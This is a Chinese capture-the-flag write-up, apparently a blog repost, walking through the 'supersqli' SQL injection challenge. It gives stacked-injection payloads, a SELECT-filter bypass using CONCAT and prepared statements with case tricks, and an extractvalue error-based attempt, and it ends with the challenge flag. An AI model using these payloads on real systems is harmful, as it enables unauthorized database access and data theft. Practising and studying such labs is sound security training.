supersqli

supersqli

输入'有报错
输入"正常
说明存在注入点

order by语句可以使用,且判断为两个字段
考虑联合注入,但是发现select语句不能用,考虑绕过select,那么可以使用预编译

但是惊人的发现可以使用堆叠注入,这个使用条件比较有限,但是危害非常的大。一步步查询,找到flag:

爆表
-1';show tables #

得知有如下两个表:
1919810931114514
words

爆字段:
-1';show columns from 1919810931114514 --+
发现有flag字段,而words表没有flag字段:

爆数据:
由于过滤了select,我们可以选中预编译执行
-1';

set @sql = CONCAT('se','lect * from 1919810931114514;');

prepare stmt from @sql;

EXECUTE stmt; #

发现过滤prepare和set,那么可以首先考虑大小写或双写来绕过,大小写成功绕过

也有输出位,也可以考虑一手报错注入,不一定人云亦云,人要有自己的思考。

-1' and extractvalue('1',concat('~',concat('se','lect * from 1919810931114514')))#

有点遗憾,还是没有爆出来,各位也可以再尝试尝试

flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}

原文地址:https://www.cnblogs.com/sillage/p/13929580.html